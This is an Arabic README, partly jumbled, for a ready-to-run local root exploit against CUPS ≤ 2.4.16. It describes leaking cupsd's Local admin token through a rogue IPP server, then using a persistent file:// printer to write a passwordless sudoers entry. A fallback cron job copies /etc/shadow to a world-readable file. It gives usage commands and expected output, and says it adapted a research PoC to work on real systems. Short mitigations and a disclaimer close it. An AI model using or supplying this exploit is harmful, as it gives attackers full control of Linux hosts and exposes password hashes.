
تصعيد الصلاحيات محليًا ضد `cupsd` الذي يعمل بصلاحيات الجذر.
cups2root، بعد إزالة بيئة الاختبار)CVSS 3.x : 8.4 HIGH (تقريبي — تحقق منه)
CWE : CWE-287 (مصادقة غير صحيحة) + CWE-269 (إدارة صلاحيات غير صحيحة)
الإصلاح : CUPS 2.4.17+
يؤثر على: CUPS ≤ 2.4.16 مع تشغيل cupsd كـ root والمنفذ 631 متاح محلياً
تصعيد صلاحيات محلي ضد cupsd يعمل كـ root. عند إجباره على العمل كـ عميل IPP
تجاه خادم محلي خبيث، يستجيب cupsd لتحدي 401 WWW-Authenticate: Local
بإعادة إرسال رمز المسؤول الخاص به. اعتراض هذا الرمز يتيح لمستخدم غير مميز
التحكم بـ cupsd كمسؤول (root). طابور طباعة دائم عبر file:// (printer-is-temporary=false)
يتجاوز سياسة FileDevice، لذا يقوم Print-Job خام بكتابة بايتات المهاجم إلى أي مسار
كـ root — هنا مقطع sudoers بدون كلمة مرور.
تتسلسل بدائيتان إلى كتابة ملفات عشوائية كـ root:
Local قابلة لإعادة الاستخدام. يقبل cupsd مصادقة Local مدعومة بشهادة
root تحت /run/cups/certs/. عند العمل كعميل IPP، فإنه يتطوع بإرسال رمز المسؤول
هذا عند مواجهة تحدي 401 WWW-Authenticate: Local. وجّه cupsd إلى خادم IPP مزيف
تتحكم به وستعترض رمزاً صالحاً لقيادته كـ root.file:// كـ device-uri افتراضياً. إنشاء الطابور
مع printer-is-temporary=false يجعله دائماً ويتجاوز هذا الحاجز؛ ثم يقوم Print-Job
خام بكتابة بايتاته مباشرة إلى الملف الهدف، كـ root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> هو رمز المسؤول الخاص بـ cupsd — أعد إرساله إلى /admin/ وستكون مكافئاً لـ root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
الـ PoC المرجعي (GHSA-c54j-2vqw-wpwp / cups2root، R. de Jager) هو بيئة اختبار تجريبية: يعمل
كـ root، ويشغّل cupsd خاصاً به ومستخدماً مؤقتاً unpriv، ثم sudo -u unpriv لمحاكاة
المهاجم. غير قابل للاستخدام كما هو. التغييرات:
127.0.0.1:631.$ATTACKER)؛ المقطع <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| الحالة | الإصدارات |
|---|---|
| معرّضة | CUPS ≤ 2.4.16 |
| مُصلحة | CUPS 2.4.17 وما بعده |
| الملف | الدور |
|---|---|
exploit.py | PoC: تسريب الرمز → طابور file:// → Print-Job خام → sudoers root |
README.md | هذا الملف |
مكتبة Python 3 القياسية فقط — بدون تبعيات.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
عند النجاح:
[+] Local token: <token>
[+] ROOT via sudoers
ثم sudo -i.
cupsd كـ root حيث يمكن تجنّب ذلك؛ أسقط الصلاحيات / اعزل الخدمة.Local وخلفية جهاز file://؛ أبقِ سياسة FileDevice مفروضة على
الطوابير الدائمة.systemctl disable --now cups cups-browsed وأزل
الحزمة.هذا المشروع مخصص لاختبارات الأمان المصرّح بها والتعليم والبحث الدفاعي فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد المشاركة في مختبرك أو لدى عميلك.